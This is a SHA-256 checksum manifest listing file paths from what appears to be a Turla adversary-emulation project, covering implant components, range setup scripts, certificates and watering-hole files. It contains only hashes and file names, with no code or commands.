+c71d239df91726fc519c6eb72d318ec65820627232b2f796219e87dcf35d0ab4 ./Resources/control_server/LICENSE +58ce4e60fa4a72050e7a0804ff1c0494c9c8ba64e0734632dc9df2118f4fd021 ./Resources/control_server/sslcerts/sslcerts.go +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/payloads/.gitkeep +920ac5b78c4ed932c0260186693769e8a4cdb69c4bc8311757ba71d28a6233c5 ./Resources/Carbon/README.md +db8abdc2fe920007b1f766cb5e5f4276599cb5b7438f65ca67a0a90b90ecfb91 ./Resources/Carbon/Orchestrator/README.md +e9e0fa680636e8d35794972b008cd34d8d942a8828ef37d55d280cd094ecf872 ./Resources/Carbon/Orchestrator/.gitignore +15a3259567fe1e132a04ef4d1716ce2562faf60e990b8f6dd53fa533c48d6188 ./Resources/Carbon/Orchestrator/CMakeLists.txt +747cf1acc57c231cb71664bbaedf7c4a7eee747baf8e60ed6380d01a832bdf76 ./Resources/Carbon/Orchestrator/src/tasking.cpp +06428ab91bec842e876f7dbd49efd38d6b8d74db70aab30f72e0a0a1b76dc54b ./Resources/Carbon/Orchestrator/src/enc_handler.cpp +6cbcb1c3613807041043a8b8156bad4943601b3ced6c28f99a04af0f871562de ./Resources/Carbon/Orchestrator/src/mutex.cpp +f3d80660826283ab6e6113df40f3c153746a948540fafa6975edaa71ef91ffb7 ./Resources/Carbon/Orchestrator/src/CMakeLists.txt +b625895340da1fbe808ba4b39fad1ff557fa8dad88d00d6f5c5c2967169bc466 ./Resources/Carbon/Orchestrator/src/orchestrator.cpp +a2f0ed5c6949d65fbd41a35e36af27ac281cb90e4c7e62c456d2216233b7ef47 ./Resources/Carbon/Orchestrator/src/locker.cpp +f69e2833e6e09f491a64514d41d3acaf15cc35e1ea813b779f3ba18a58d16c3b ./Resources/Carbon/Orchestrator/src/util.cpp +f0e9162ac66c392cdd4e9c828f9bcc6a1d766d418acaa1faac4c97d4995ffcd0 ./Resources/Carbon/Orchestrator/src/main.cpp +108ea96c433162b46607bf42b016d4e125162acb3468507fe2b01bb85636e8d7 ./Resources/Carbon/Orchestrator/src/injection.cpp +c26bb53decee894483f60039f0dec0ae502608cfb79911b42967528cc55bd4fc ./Resources/Carbon/Orchestrator/test/testdllrunner.cpp +b39d103acbeafa7d10961e48f65d3bebcddd9179f96ff9b19067714649022c48 ./Resources/Carbon/Orchestrator/test/config_encrypt.cpp +d05802d2138f8d3894ea3d67bc78e1a5020237913c738a7c5051daa890d0caba ./Resources/Carbon/Orchestrator/test/dllspawnnp.cpp +0c104be8f24bc4e93d88c94a1f1ac74ce0c629a98b6488e74e0a202cde589bd4 ./Resources/Carbon/Orchestrator/test/castDecrypt.cpp +20f81785034c3a43d9c81ace830592c010ef5ccfb3742beb22892e119f369dfc ./Resources/Carbon/Orchestrator/OrchestratorVersion.h.in +5f0a3235a75ade96732dc94c6c9e1f89c82950a4a3071103dfbb68ea4c402931 ./Resources/Carbon/Orchestrator/output-itest.ps1 +f3463d7bc081fa17fc9b658bdc3466a46b9a657e65846b92c59d8b4b776d53e4 ./Resources/Carbon/Orchestrator/build.ps1 +50a6d8c76c26bee43b1b2d2fbe33f7d0c0aea837dc7204629b99ed0f4016dd41 ./Resources/Carbon/Orchestrator/include/enc_handler.h +9c62904bc2e6121488f5ba50baed1c2f3a415424cd021e843bb05a756aec5409 ./Resources/Carbon/Orchestrator/include/config_encrypt.h +36de5c4bf3d3b17d65add3db2bd3c4360f35d27aadfb2c24f29f8e0f7d31c18c ./Resources/Carbon/Orchestrator/include/util.h +2a730c1d92d8e5c65dae1d77ee56e45a8214a5fb8d9a92fde4f2ab72e27b09e5 ./Resources/Carbon/Orchestrator/include/mutex.h +8a5a0e83d1bffcc07e299bc29417324d80372d4a5f5f1f2921e73adf99008306 ./Resources/Carbon/Orchestrator/include/tasking.h +16eadfae09c66193d1e14f1bdbdbf01a8f0b69f1bb93393dc1a58215b9705ce4 ./Resources/Carbon/Orchestrator/include/orchestrator.h +4427b1c412a5c045a698d1a46987f532d30b15f111efe8292f71b790e8a51153 ./Resources/Carbon/Orchestrator/include/injection.h +7549538b1b5ae0e7cbecc82eb40231c8dc71fec9fc0aad25926cc80e3818bf06 ./Resources/Carbon/Orchestrator/include/locker.h +1477b8165f3d76a85417772f8792ce5c3d1ccc5634433b2db3da93ff281b7303 ./Resources/Carbon/Orchestrator/bin/configPlainText.xml +1aee553f4bcb3d18c0f10bf98410f792738329f22f9d3c1c09f7171a79450ed8 ./Resources/Carbon/Orchestrator/bin/setuplst.xml +a766a7aaa039a70bc64c967b0bdaa4be281c6b2a80332ed2f9873846885bed00 ./Resources/Carbon/CarbonInstaller/README.md +61eafcd0bfc730f668dee06815dae84c0e6c4abbca310009f5c589a1ebfa0e81 ./Resources/Carbon/CarbonInstaller/.gitignore +9ecd673f31a935ae03be1b377299678e5fb781b965b289e0ac2270dd5257b878 ./Resources/Carbon/CarbonInstaller/Loader/CMakeLists.txt +df137629b3e24cec7a5df86f34aea9435c805470a25355b529509e8332d5c845 ./Resources/Carbon/CarbonInstaller/Loader/tests/service_test.cpp +47675588814fb8b1959783a58133df73db41dacc1f06f2a07a849528ffce44bf ./Resources/Carbon/CarbonInstaller/Loader/src/service.cpp +5c642a0b61f7550daee5a0de3a843a80a370cb4f27252f37099733162b9fc2a2 ./Resources/Carbon/CarbonInstaller/Loader/src/CMakeLists.txt +d2609357218c46caf048e56aee3b1cada18c7c60ef66eda52256562e2fe178d0 ./Resources/Carbon/CarbonInstaller/Loader/include/service.h +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/Carbon/CarbonInstaller/Loader/bin/.gitkeep +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/Carbon/CarbonInstaller/DummyOrchestrator/bin/.gitkeep +1d0df8de10dc18252b9147f2808dc9942d6e9ab669c9e881e2953bb91fa04f66 ./Resources/Carbon/CarbonInstaller/Dropper/.gitignore +5c32fa51b922fb454da69c5a87b341ae8e7b228c72797b3c1b65d17689fddc33 ./Resources/Carbon/CarbonInstaller/Dropper/add_resources.py +877ddb3ecc19c3ed2dd8766ae25accb47cf735fd95251805d4d2a42635535af8 ./Resources/Carbon/CarbonInstaller/Dropper/CMakeLists.txt +e202f0603d0c3d97599e314ff081bcb8fddaedc55564e592997c49ffe5b0f6ec ./Resources/Carbon/CarbonInstaller/Dropper/tests/file_handler_test.cpp +0c219e77a90095b17b6ee374754bf6c4ac6e0b279350ee22533786de38ba8a6f ./Resources/Carbon/CarbonInstaller/Dropper/tests/service_handler_test.cpp +8506c0f2683cd543194b01c82698d53934b9ec08687381543131c6ed779960b6 ./Resources/Carbon/CarbonInstaller/Dropper/tests/dummy_components.cpp +431e9ad87d13dab8b4a6487acd7b2cb6d384c9bcdbfff2c0730c4b7d36b5bc85 ./Resources/Carbon/CarbonInstaller/Dropper/resources/carbon_w2_config +88b0188105495edce4b020961355f68bdc6dfb5eaaee833a2374491faf21417f ./Resources/Carbon/CarbonInstaller/Dropper/resources/carbon_w1_config +fdc979a6b926e9a983874f37b5b279aab6abd14c8b37d99619ea40e0bf18f03f ./Resources/Carbon/CarbonInstaller/Dropper/resources/kali1_config +8fd170397d6602ea48b2a90d991ccd49c7b878607777dc0571c7859fe1cf9f15 ./Resources/Carbon/CarbonInstaller/Dropper/resources/dummy_comms +915b7aced6992ceda709b0029260f77f4e0ebaf625f6f16f71867835395730b1 ./Resources/Carbon/CarbonInstaller/Dropper/resources/carbon_dc_config +2244fa2a8f1883ab7a98ade094a2a90023350985779389736384f3b676cb7567 ./Resources/Carbon/CarbonInstaller/Dropper/resources/dummy_orch +736973fa5e61b07bbbef4ba6b2b95cd7267d8c431fb683943a8be1a329349b82 ./Resources/Carbon/CarbonInstaller/Dropper/src/CMakeLists.txt +4a707fc45da3e19385ec21d765d23501e567c1c6685c9a3f78c87e46f7f6de1a ./Resources/Carbon/CarbonInstaller/Dropper/src/file_handler.cpp +64b3fa262e767dc68b3d54125585b928e343ec5b031f0137da8b5478e9ae9272 ./Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp +7aa9a80b3a4ac8f96b9e4f9836885657ae9c51e44f982244fd5f70fec41a0762 ./Resources/Carbon/CarbonInstaller/Dropper/src/main.cpp +a5b3626aeac6d70a6af7ba76941691c3edcc9b473eac1bd6bba219d1ca2a1fb0 ./Resources/Carbon/CarbonInstaller/Dropper/include/file_handler.h +d756645128587768b1702fc96bb05840b18128163ba6c31570a2a4781847669c ./Resources/Carbon/CarbonInstaller/Dropper/include/service_handler.h +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/Carbon/CarbonInstaller/Dropper/bin/.gitkeep +6bfddf0464257ee21f743fd4174b5066806e5c9845070893d03d2a8fff40368d ./Resources/Carbon/CommLib/vcpkg.json +bd2e8e55fd0f9c4ce3bb57c33d5c3066c7f91ab179fe0683541081acb0c1eae1 ./Resources/Carbon/CommLib/README.md +180f248077e4e6b21d9fb85a523852e7e62ce6155549196a29e8440092e16a9f ./Resources/Carbon/CommLib/.gitignore +cbd219e937192072dc9bf7e66b8262aceda8b5a5fcada97e2c8b9ff1861a91f0 ./Resources/Carbon/CommLib/CMakeLists.txt +7da0e1c1cb55534061b40da73096ef51c26f15e10540d57124dfa332cb1bd54c ./Resources/Carbon/CommLib/decrypt_logs.py +8410478d3c0e454877c8e253638cd6cb98e9c2c4b836dcd54e4d07fd8a3c0401 ./Resources/Carbon/CommLib/src/NamedPipeP2p.cpp +0548d381a8b2a49f20a7166fe23a7efc1775c4f6bbce8144f9a7784f13db6eef ./Resources/Carbon/CommLib/src/dllmain.cpp +d47802f2a12713bd1424cf63b0708cf1232f0abe58ce0479ad11d33fdb62893b ./Resources/Carbon/CommLib/src/WindowsWrappers.cpp +cfe43abe2b5d95266aaf5c2cf92d113b151821f4477634e9cfd11ab5e91f0853 ./Resources/Carbon/CommLib/src/Util.cpp +d29c929d33075428d9b3b78fca359b2255e5d63d5da80be012b476118e1b6522 ./Resources/Carbon/CommLib/src/CommLib.cpp +eb9c85c2322553da9645c1f64e464214badda4a9d131881083ac100598e16111 ./Resources/Carbon/CommLib/src/CMakeLists.txt +bf3c7b111ff72282684bfda1311973fe36c7d3b87c42a2849d61567c5ce0a220 ./Resources/Carbon/CommLib/src/Locker.cpp +f5006e548199742a525c16109753fef0ac2083145133e994c6b038319f9eb8b3 ./Resources/Carbon/CommLib/src/Logging.cpp +9aa605f4c9fd7720f98b852e413965f4c6d2399a61970c61e85609cfc6753478 ./Resources/Carbon/CommLib/src/EncUtils.cpp +01dcf60092e16f862fb63c9ddc276b93b675328231c8eb88b968cda8b44ec3f6 ./Resources/Carbon/CommLib/src/Tasks.cpp +4d2c0f0406d85d15e914c575de9719b6d4f67148c053f40b50ab41616ddd8918 ./Resources/Carbon/CommLib/src/configFileUtils.cpp +d7c76c645f3886af8bac012b40ce2123c214a3c13c8cff0aad4b1699058c98f9 ./Resources/Carbon/CommLib/src/HttpClient.cpp +fdc979a6b926e9a983874f37b5b279aab6abd14c8b37d99619ea40e0bf18f03f ./Resources/Carbon/CommLib/test/dummyConfigFile.txt +610cfcc95ac7c6e7ab9cec7b71fb48c430c1a18575d38f090b02aa35f2694df3 ./Resources/Carbon/CommLib/test/logging_test.cpp +494b63682bb0fc668025ba1c127665799e40405afa0d808d7a456e0d98b6f06c ./Resources/Carbon/CommLib/test/testingUtils.cpp +cb2971b581ba476c62bc514391b106dba9cca12edf978cbdf4a2f09fd26e65e0 ./Resources/Carbon/CommLib/test/commlib_test.cc +c537ffc7a48e8a33002abeb51e301fe53e038a775966fc374b559e662b47fbb7 ./Resources/Carbon/CommLib/test/testing.h +d29a9bf8b8c6c36a4ba6a63c92e0eb4035ccb81ff842f29120814b291cbdd7e0 ./Resources/Carbon/CommLib/test/tasks_test.cc +cf14591dca426f1eaa468525c76654b3307030f132b5562996e6de4fe498a742 ./Resources/Carbon/CommLib/test/http_test.cc +00d308f30ed8339e848849ef8151a13ee5a26f2980abb2a9fe1cbb43d23d6f69 ./Resources/Carbon/CommLib/test/utils_test.cc +56fb00f3c6846747e7ffdce214fb2cfeb14048d46631579c25235a22b64dacb4 ./Resources/Carbon/CommLib/test/enc_utils_test.cc +03da78643d285330b12375395bd70be933fddc5bd354cac5dcad590857be967c ./Resources/Carbon/CommLib/test/named_pipe_p2p_test.cc +b63936d77b9be3f7feb9c25c4953a943544349dff34a53438f6d28d0ec05e158 ./Resources/Carbon/CommLib/CommLibVersion.h.in +f6db10935f13aeac8276bf86a13b0b76f1d160f3495b0ca53d211737c8f480ab ./Resources/Carbon/CommLib/include/Tasks.hpp +a86ed5ed581e507e6d10b911dbc054e673c7ec6f303ec6f29268d48b3b8334e8 ./Resources/Carbon/CommLib/include/WindowsWrappers.hpp +4739908767d932924eef7b1fb9c84c3773e9d248b4913cda77cff73d536ed60f ./Resources/Carbon/CommLib/include/Logging.hpp +0a3f2b1a2b07743597ba77b35b67ef1871e30e1c07c44d9b805fcd96fbc0e497 ./Resources/Carbon/CommLib/include/Config.hpp +c7b61e8b10d186261e946cd884e40d7d7209f0022b703be9e910db7cabc8553c ./Resources/Carbon/CommLib/include/HttpClient.hpp +9d67bcb5c7b5fedfe2772e3699f21b2c9efce02508dadf374338a2db8b69d707 ./Resources/Carbon/CommLib/include/Util.hpp +f45424d6802a49ec70f97470eb17f6c7c56f90cbfb308ab1866b858523d2bdaf ./Resources/Carbon/CommLib/include/EncUtils.hpp +7ce0f623db165d73a809a61f84139908ca2c240b06ec6cec312ead6f68f698fb ./Resources/Carbon/CommLib/include/CommLib.hpp +21d65dea370c46c6236a87a9492c78eac4da3b016f4dc96d6c16b8786d2b6048 ./Resources/Carbon/CommLib/include/configFile.h +b6e8a5ea61316d19da4ff62d2a9f5caa071e476453d4f721cc876233329b7014 ./Resources/Carbon/CommLib/include/Locker.hpp +a7f4e7566eddd4c37aaa79ad1263411eb66a8dcde500b951745256db6fadd7cb ./Resources/Carbon/CommLib/include/NamedPipeP2p.hpp +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/Carbon/CommLib/bin/.gitkeep +7ecfc88e929c9f4337d35764e08536fee3693f01777a128224632c6cfabf7c63 ./Resources/setup/WindowsService.md +2f12de03a270a951bc0b87484732667bdcc0715433851d64f45d1d7f3fd47cdc ./Resources/setup/assets/mailredirect-diagram.png +7d9e70f5608492da16f01c315dbe030abc4d836fbf30afca30db0f2415e788db ./Resources/setup/assets/Turla-Infrastructure-Diagram.png +9830285292358cb706a49c8d5f62c5cd365e6fbdf9d8d965f4e39f1ff7ba5bd1 ./Resources/setup/README.md +6a25d3659f928778f80d22675f0693e72666241f2c720c5c02a932b362a20f2f ./Resources/setup/files/windows-service/viperVpn.spec +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/setup/files/windows-service/dist/.gitkeep +2295891fcd13a3561a6bb639e09c0d4318bda854b5c663eed2afa3d2e72ec419 ./Resources/setup/files/windows-service/viperVpn.py +1f20e37dd69d5e08c713e6275d76fb569de0cd513511fbb0254a7e4bce6110d1 ./Resources/setup/files/snake/all-join-snake-domain.ps1 +972981963e51c29aa8494248a3b31e3d69792cd2240519f339ca84793261121a ./Resources/setup/files/snake/drebule-create-snake-exchange-admin.ps1 +7ca6906d6024ff1c485ca3fbb09e25fd9b4b9cd9b3871d545fa6596a0e6f718d ./Resources/setup/files/snake/drebule-install-exchange.ps1 +dab86cbc14d55b4dca1ec1719d9024895eb2f17384a110759addfbc3fa5aefa8 ./Resources/setup/files/snake/berlios-create-snake-domain.ps1 +b77b41902f1486f1015dc0fbf0bad43162f2432cc29a27a6ef5a6162f8c004b2 ./Resources/setup/files/snake/berlios-set-computer-descriptions.ps1 +cb237f21391054b0959a59198e025b509ce04fd70a3afb4fb4faa583bfde36c1 ./Resources/setup/files/snake/berzas-set-local-admin.ps1 +421f3d65640de94c8b6829f76a31a39f6269be6538d35593d4d8a11fcdcb7e90 ./Resources/setup/files/snake/berzas-install-admodule.ps1 +037cb8a52cd1687ba95109a7284f9120de74018b1af2f28beb6e779ca976d991 ./Resources/setup/files/snake/drebule-disable-wmic-integrity-check.ps1 +35bf197a3a18ec934fcd72950e101bf0f939b0dce7dc1f15795e01ee029e681f ./Resources/setup/files/snake/azuolas-enable-fileserver-admin.ps1 +411094e7a1b86431545e13e30094dc36939ea4e943f3619f3de6d787be5c9b76 ./Resources/setup/files/snake/berlios-create-fileserver-admin.ps1 +bbecb33bafb6b09cfd4c90bb3924e96e44e15aa8c4eef943ab46aa3fe420368b ./Resources/setup/files/snake/drebule-enable-remote-desktop-for-exchange-admin.ps1 +6a40cf2225cbd78698b19cab0641e4e93fd6d68122763764de470c80ba185277 ./Resources/setup/files/snake/all-snake-enable-remote-desktop-for-domain-users.ps1 +1e1047b70a037361fcfb7011e51c8c4b3c122a8b08594407291676c712ab85fa ./Resources/setup/files/snake/berzas-enable-remotedesktop-for-snake-fileserver.ps1 +f9ba69feb53a06d1a18a726d5aa4ef595f4cc82cf8b75175976ac69a252a5390 ./Resources/setup/files/snake/berlios-create-snake-users.ps1 +dc0f5f492fa9a8b0bc7eb717b6e3854d0441130edf44a3f55e537d1c43a08ffc ./Resources/setup/files/snake/berlios-set-dns-resolution.ps1 +e84c9d3feb47b9a489bbeb8cbf5a5ae4661d598aea91414f2391d359abdce27d ./Resources/setup/files/certificates/host-1-server-key.pem +e283b77ac2a3a35d49ba8a3fda4d06d8cd19aeb7f39c7c3d4a17a3653d0daa1d ./Resources/setup/files/certificates/intermediate-ca.json +ab0c5ff3f99078ed4fa9b410de163305215fe79f7accaccc8742465a40abe86a ./Resources/setup/files/certificates/cfssl.json +34a83fa26e548bd39b75875ee10a07967578339ebebc1460c1eab967e8084e91 ./Resources/setup/files/certificates/host1.json +381d81d8df5313d83552fa2bd03f1b621b1f52ed901e0483550db28f3521d6d8 ./Resources/setup/files/certificates/host-1-server.pem +ccb444eb5bd383d0c14c2fef56077a771cbdc5de528afef437538eb62b198af4 ./Resources/setup/files/certificates/intermediate_ca-key.pem +1df230772f3313020cf6fdc94cf4ff64cbce936c6d04a7113a6a2baf9ca95fce ./Resources/setup/files/certificates/intermediate_ca.pem +0324527277b3cd016ae3a56640daee4fb08c3ffd42251e96709d4c6d99dc5e4a ./Resources/setup/files/certificates/ca.json +a25a35757b51e89b7d79b65f7792310377b59deb6931404b397888bf73bb1902 ./Resources/setup/files/certificates/ca-key.pem +2fae9e4f617365963fce52ab9c16f6dfa4a20b9fef36982b7bce5d235e81849c ./Resources/setup/files/certificates/ca.pem +d280dd1e115e182554bcbc797e0972059b8ea865a8ce6d787afdd613ffa6d554 ./Resources/setup/files/range_validation.ps1 +71d6a057d52ad6c6ed54688465fb4c26936c9c8edd39d88a1ca7f5887b6ce60c ./Resources/setup/files/watering_hole/wp-config.php +55edb4a4cf1a039492133c61d097a93f0ff9d4c7a6e5de94eb958ada82c77e9c ./Resources/setup/files/watering_hole/README.md +a9e79285f7b1ed60bd23af86f439269647c332c74e7da42c9080bc407f71f0ec ./Resources/setup/files/watering_hole/counter.js +03b4e0ef1f95a42b7d13766e5f8f6259aabbdeaf58e791dc680cda2b57d53aa0 ./Resources/setup/files/watering_hole/flash_prep.py +c17b2f863b3941c195bc2b706d7cd03076d1a9d468e0cc96649f76f84e0690a1 ./Resources/setup/files/watering_hole/flash.txt +e2f1cd180b495cbe35b1bd95b09b8b6564de01a6dac9988fb5770a6fe52d67cf ./Resources/setup/files/watering_hole/wordpress_setup.sh +c446e342a87244182db496055ff80a733536eb47b80103d4cfefc6b3d5b00730 ./Resources/setup/files/watering_hole/session.js +98e249920bdb68d21d67123231fd9ac2f18b25c4644ab65946f630dd3a069228 ./Resources/setup/files/watering_hole/ip_range.py +ec914fdd0e0b3926623895aab0cec74374f85ccc3084e53002f0b93e1b119a06 ./Resources/setup/files/watering_hole/out-of-range.html +de9e1dc8fb203c28e7dfd1cd0c0d60d35b45001664884b2d1a25a3dee576a79b ./Resources/setup/files/watering_hole/wordpress.conf +b94a9b3da70702b3a3d4939c831ed7cdfcc6735d15d65fb9a29e1c525aebd9b7 ./Resources/setup/files/watering_hole/wordpress_cleanup.sh +ca13a59163993c8fbaec42d26167b5966990fb4ed0f1a99c3c2b32f834ec12ef ./Resources/setup/files/watering_hole/flash_update.html +e7179da989a112d2a70f3eab280e11e08dda2bae157b29b6029cfcafe061767d ./Resources/setup/files/watering_hole/fingerprinting.py +77ac7f55a0c327dc91d9b172723a4e2d32c0c4ebbc1b18b1ad6c4829a35034e7 ./Resources/setup/files/watering_hole/redirection.py +89e97413a5f7652312e5c24ee22b39684c350fd7eec5b8de5c954a7beedc8945 ./Resources/setup/files/watering_hole/in-range.html +199b629fa3da2322b19906becb346475fbe4c5ca73586535d8d94fca2bee8ca6 ./Resources/setup/files/watering_hole/beef_setup.py +5b6d2d2608265cefd8f1b32fab8484fc7adcc27ecfd0e09ebdbbf4392af8f2d0 ./Resources/setup/files/common/enable-remote-scheduled-tasks.ps1 +fdac2f2bf9cad05e1a97cb19e808306480ba4f7a118094545e78a8e19a439d3a ./Resources/setup/files/common/disable-edge-download-ask.ps1 +0655e6749f0089aac5fab67bffaf2db6bbd64035ba9b7d1921df675df8b1d290 ./Resources/setup/files/common/configure-jumpbox.ps1 +f2fe991d04b387c7596ac480b2b7a7dac9729f495591434e79412dbd14e216da ./Resources/setup/files/common/set-ad-dns-forwarding.ps1 +9b8afb3781e0f21ecd96b1c332f7900932f407be7f077689a219ec523daff944 ./Resources/setup/files/common/disable-edge-first-run.ps1 +f30974541cf1bdb131ea291cc1d61af3c1075a0fd4acd25efaf25409caf35a55 ./Resources/setup/files/common/choco-install-packages.ps1 +2a8db83864a5e0092fdd569dd1ed194df95c6f7d464b09ceb0abbdf42fa08246 ./Resources/setup/files/common/chocolatey-install.ps1 +9b488f9d859d01b20887cf36e6c2dee132b80bc2444c797067109bb82656a322 ./Resources/setup/files/common/disable-edge-update.ps1 +c2aa07fce9ed0f6ba09dc87ba3ce85cf4214c4fba939e185855d610aa770702e ./Resources/setup/files/common/enable-exchange-for-domain-users.ps1 +f9de8f04a194131e63ea07ec8fb4d68f57c151e9aba48999d4b38949b03ead25 ./Resources/setup/files/common/disable-firewall.ps1 +cd06c46d2e402b9d60e6dca43e73da2d9ccb28d19d1eb44748ecc685e4c61068 ./Resources/setup/files/common/disable-smartscreen.ps1 +1d695335096192a4dbc79a364f8f7562d82d6158cd07c8cd932efa062c9552be ./Resources/setup/files/support/kali/kali-postfix-conf +b29b69af8d3a24a76b80a51838564722ed5ad77c25c1aef0888f3f47efff6b73 ./Resources/setup/files/support/kali/kali-set-nato-int-redirect.sh +68ec0aad68c1c8bb85a6d61e91168b55b61e093061c645ed15f9aeac8825308b ./Resources/setup/files/support/kali/kali-prereqs.sh +891f22f83c1a6d9691ef0cb757762002a6422b6c5442fc792aec28cd2758a20a ./Resources/setup/files/support/kali/kali-update.sh +9790943fac1b80c1dd7f94da163a021f2cc81a814c57cd8a0761885da4959049 ./Resources/setup/files/support/kali/kali-install-custom-certs.sh +1ee1898b8b61291e6648f2d5516f34495e4e6b88f3df4273aa6327c1e84d7a8b ./Resources/setup/files/support/kali/kali-update-wp.sh +b9e3d2aba79cd26d7d48a60f7dc50d85290cb67810e3b0842cf68ffe3e59df02 ./Resources/setup/files/support/kali/kali-send-email.sh +a851ed429093022052fe6968578e7166ee9b93c573786779c7682a6a39885f1d ./Resources/setup/files/support/kali/kali-home-cradwell-procmailrc +bfd98af7a15757dd25aff3cdd5502f8b6c1fa4232a7b04f1058a504aa992f3e6 ./Resources/setup/files/support/mail/etc_postfix_virtual +f57cd95601dd7168f4cd7587157032e7b99e95bb55fe440ea3c03488fb5cd74d ./Resources/setup/files/support/mail/stamp-configure-dns.sh +f033d1bc31d005d6f07d25f39778c1d894f0ec48766ed1be6d519ef3a2d681b1 ./Resources/setup/files/support/mail/etc_mailname +1924d7c0ed9c8a34e160f7a125495fd5971be259ac3a6217206a55489fbcc3c3 ./Resources/setup/files/support/mail/etc_postfix_main.cf +3de495764cf5409ae20ca6159c98f7bd350b887c9b8656ca239e72033abf580a ./Resources/setup/files/support/redirectors/enable-traffic-forwarding-rules-thunderbug.sh +7bd3f42e3bf12cdde6758c6d0ebc923e91cb9e51054b6ccdb7a2e2de8462aa7f ./Resources/setup/files/support/redirectors/disable-traffic-forwarding-rules.sh +c388f004aed5992af39abc2470da9999bde60c1a3d79bf41142162daf40b6f53 ./Resources/setup/files/support/redirectors/enable-traffic-forwarding-rules-bolt.sh +9af8e1ef8a69be82cefcfe618989b800434d56c787a6de25b4b1dbc5367479bb ./Resources/setup/files/support/redirectors/enable-traffic-forwarding-rules-amalie.sh +2c7af17ad31f3398670c83c137864b2017068a0a2cc0b9c66adc4ca3f8ea7ee7 ./Resources/setup/files/support/redirectors/print-traffic-forwarding-rules.sh +1c1e51719ed244a5056623c849c5dc36458aef8ba7b93dbdb85270257990ef0e ./Resources/setup/files/support/dns/unbound_zone.conf +9cbb3f155aecb97b36b5423409197038cc42bf0cc9c518f06d7b31ea4796ac62 ./Resources/setup/files/support/dns/root-auto-trust-anchor-file.conf +92d5493a9682f9884f52be4d57e115c3f27f5c8f5bd0b6c7da18b23ff0616761 ./Resources/setup/files/support/dns/install-unbound-dns.sh +65f12368f81f626d80f4f200d4032f5448a5947cfb2e5898318eda3b1dd3b6d0 ./Resources/setup/files/support/dns/unbound_access.conf +a553cfbc68f2c42aa5e153b050a628cf68ad763357ca581ae6d9ec443d6bfa72 ./Resources/setup/files/support/dns/qname-minimization.conf +c746a3f5429904a641becb9079422b465bbf63cd33e8bb8c1a41234acf8a19f1 ./Resources/setup/files/carbon/kagarov-setup.sh +34ae947907bae55d9b16c3722644c909e71e51330fc88e45906345e07daf032b ./Resources/setup/files/carbon/brieftragerin-install-exchange.ps1 +32b98d982d21fb08acf838c13b20526960dfdd120037d389e0e72c7271e69b75 ./Resources/setup/files/carbon/bannik-create-carbon-users.ps1 +60b6627b083e13724e40eb756946c395a30880c19d8141e1ba3ff1bfb3b9d900 ./Resources/setup/files/carbon/all-join-carbon-domain.ps1 +f1cde79e7eecdc7f619768cd461f15cf1d88631ed03dda3656166f3844af1bf3 ./Resources/setup/files/carbon/bannik-set-dns-resolution.ps1 +d7094761a62d24b2bb0a45d2954eb467deb42a5dd4522e849a2556c2a42e7670 ./Resources/setup/files/carbon/bannik-set-adalwolfa-group-membership.ps1 +7dfcaf824f1372706e64441d579b4cb62be00743759f637de21771cf2e08a169 ./Resources/setup/files/carbon/kagarov-join-domain.sh +d5a2d25d2135b6926bd22b2cdcc78e5c67fc5234c742414c8b8d8d2642b63d86 ./Resources/setup/files/carbon/khabibulin-set-local-admin.ps1 +d723affa9806766eaa077b8966c9b027a302fd0c43516e666a0bafe9b8ffe34b ./Resources/setup/files/carbon/all-carbon-enable-remote-desktop-for-domain-users.ps1 +4ede6c730f8e23a964de398385bd94f64f5a7380bbae635effe02dd951b672a0 ./Resources/setup/files/carbon/bannik-add-computer-descriptions.ps1 +ea1148d9d1b78b4f3ee1e050c95ea70d58e213c7e732ea6766b58bcee80a07dc ./Resources/setup/files/carbon/brieftragerin-create-carbon-exchange-admin.ps1 +fe0663d8772f5a59cd4f8616b7fb2f6be2f8c4667c808a94771c15db0246e07f ./Resources/setup/files/carbon/bannik-create-carbon-domain.ps1 +b43533d5f594d34426363a42a31a01fe4bbb68430be44d305a6ce19a7125bde1 ./Resources/setup/TrafficRedirection.md +759e071a063d523c051c294a26f35937e3ae4b34a012738182d509c86a9705b8 ./Resources/setup/Setup-Support.md +7368e2b9d7dbf3ec63805f81d5d9181f1a8e2537ea00de049acade2b34f24946 ./Resources/setup/CertificateAuthority.md +69727d6041de2498a6de96be2c1f81a77066c7f57ab4d7f0402af38f4527e148 ./Resources/setup/Setup-Carbon.md +8f817caed07e932bc4392b0bd970fea35733f7212960d70d56576f593cc53fa4 ./Resources/setup/Setup-Snake.md +dbe2e2921a329906f9c93126a887a78dd506e7670d1a10a535e7f8c88c5e020c ./Resources/setup/GettingStarted.md +80855aba62fde4ad18643c41e5db35bde3ce43582cda7f5acf7ef7876aaff2c6 ./Resources/setup/EmailFlow.md +8dbfdd185cf41b4461ef407a90c9899aaff8200856909aabc279042e7cfc52e8 ./Resources/setup/Setup-RedTeam.md +aa87d3fb9519a68028406c047255dedf6023a159670c5e0f08ead8797c07ca08 ./Resources/setup/Infrastructure-Overview.md +29948497b93efc381289a29b90a5c68b37b9170fbd1d215bf17f683dd702439a ./Resources/setup/DNS.md +3acff3f8cd3feda7128ac1d006c9974587a946501ce9d49b4104a4428760ca35 ./Resources/setup/terraform/evals-ranges/README.md +a7efd05b763bb00e044e106cde3e25c39f7e933be56161032aaff4316e6001e5 ./Resources/setup/terraform/evals-ranges/locals.tf +15b299d8d6419ab540d9293367398ca44d92734bef451c7f163d3e2c4f1291ef ./Resources/setup/terraform/evals-ranges/.terraform-docs.yml +cbfe18d679d8f3123cf0fcc319106ae0b9f0633f4e8489992cc16ae222ae850c ./Resources/setup/terraform/evals-ranges/main.tf +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/setup/terraform/evals-ranges/outputs.tf +3ed760582e0c3fe83dad302666a1f6756025e93bf30fff36474a417b4a7a764f ./Resources/setup/terraform/evals-ranges/provider.tf +82cc7959de8942714ba6b079784e832b5432cc4de8e6809314fc7ab98e48c786 ./Resources/setup/terraform/evals-ranges/backend.tf 